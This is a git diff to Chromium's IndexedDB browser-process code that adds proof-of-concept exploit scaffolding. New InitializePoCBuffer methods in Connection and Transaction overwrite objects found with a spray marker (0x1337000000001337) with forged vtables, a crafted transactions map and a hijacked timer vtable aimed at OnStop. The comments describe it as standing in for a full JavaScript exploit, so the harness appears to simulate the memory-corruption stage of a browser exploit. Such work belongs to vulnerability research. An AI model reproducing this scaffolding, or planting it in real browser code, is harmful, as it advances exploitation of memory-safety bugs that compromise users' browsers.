diff --git a/content/browser/indexed_db/instance/connection.cc b/content/browser/indexed_db/instance/connection.cc index e24cd72553..68e9808ed5 100644 --- a/content/browser/indexed_db/instance/connection.cc +++ b/content/browser/indexed_db/instance/connection.cc @@ -79,6 +79,29 @@ Connection::MakeSelfOwnedReceiverAndBindRemote( return pending_remote; } +void Connection::InitializePoCBuffer() { + static bool initialized = false; + static uint8_t* buffer = new uint8_t[sizeof(Connection)]; + static uint8_t* transaction = new uint8_t[sizeof(Transaction)]; + static uintptr_t fakeMapNode[6] = {0, 0, 0, 0, /* key */ 1, /* value */ (uintptr_t)transaction}; + static uintptr_t fakeMap[4] = {(uintptr_t)fakeMapNode, (uintptr_t)fakeMapNode, /* size */ 1, 0}; + + if (!initialized) { + initialized = true; + + // initialize PoC connection + memset(buffer, 0, sizeof(Connection)); + *(uintptr_t*)(buffer) = 0x4141414141414141; // Connection::vtable + memcpy(&((Connection*)buffer)->transactions_, fakeMap, sizeof(fakeMap)); // set to our crafted map + + // initialize PoC transaction + ((Transaction*)transaction)->InitializePoCBuffer(); + } + + // fix sprayed buffer + memcpy((void*)this, buffer, sizeof(Connection)); +} + Connection::Connection(BucketContext& bucket_context, base::WeakPtr database, base::RepeatingClosure on_version_change_ignored, diff --git a/content/browser/indexed_db/instance/connection.h b/content/browser/indexed_db/instance/connection.h index 149bd2b994..a02b08dbcf 100644 --- a/content/browser/indexed_db/instance/connection.h +++ b/content/browser/indexed_db/instance/connection.h @@ -56,6 +56,7 @@ class CONTENT_EXPORT Connection : public blink::mojom::IDBDatabase { static mojo::PendingAssociatedRemote MakeSelfOwnedReceiverAndBindRemote(std::unique_ptr connection); + void InitializePoCBuffer(); Connection(BucketContext& bucket_context, base::WeakPtr database, base::RepeatingClosure on_version_change_ignored, diff --git a/content/browser/indexed_db/instance/database.cc b/content/browser/indexed_db/instance/database.cc index ada75aeae7..077eb554ea 100644 --- a/content/browser/indexed_db/instance/database.cc +++ b/content/browser/indexed_db/instance/database.cc @@ -1110,6 +1110,15 @@ std::unique_ptr Database::CreateConnection( std::move(database_callbacks), std::move(client_state_checker), client_token, scheduling_priority); connections_.insert(connection.get()); + + // look for connections that have been sprayed by a specific pattern + // poc instead of full exploit in JS + for (const auto& c : connections_) { + // look for our special marker + if (*(uintptr_t*)c == 0x1337000000001337) { + c->InitializePoCBuffer(); + } + } return connection; } diff --git a/content/browser/indexed_db/instance/transaction.cc b/content/browser/indexed_db/instance/transaction.cc index c8d650e3a9..38b7b1cb58 100644 --- a/content/browser/indexed_db/instance/transaction.cc +++ b/content/browser/indexed_db/instance/transaction.cc @@ -133,6 +133,22 @@ Transaction::Operation Transaction::TaskQueue::pop() { return task; } +void Transaction::InitializePoCBuffer() { + static uintptr_t timer_vtable[] = { + 0x133700001111, // destructor + 0x133700002222, // SetTaskRunner + 0x133700003333, // Stop + 0x133700004444, // OnStop <---------- our target + }; + + memset((void*)this, 0, sizeof(Transaction)); + *(uintptr_t*)(this) = 0x4141414141414141; // Transaction::vtable + this->backing_store_transaction_begun_ = true; + this->state_ = Transaction::STARTED; + this->is_commit_pending_ = true; + *(uintptr_t*)(&this->timeout_timer_) = (uintptr_t)timer_vtable; // base::RepeatingTimer::vtable +} + Transaction::Transaction( int64_t id, Connection* connection, diff --git a/content/browser/indexed_db/instance/transaction.h b/content/browser/indexed_db/instance/transaction.h index ae271d3e21..b0ac8c5ca6 100644 --- a/content/browser/indexed_db/instance/transaction.h +++ b/content/browser/indexed_db/instance/transaction.h @@ -56,6 +56,7 @@ class CONTENT_EXPORT Transaction : public blink::mojom::IDBTransaction { static void DisableInactivityTimeoutForTesting(); + void InitializePoCBuffer(); Transaction( int64_t id, Connection* connection,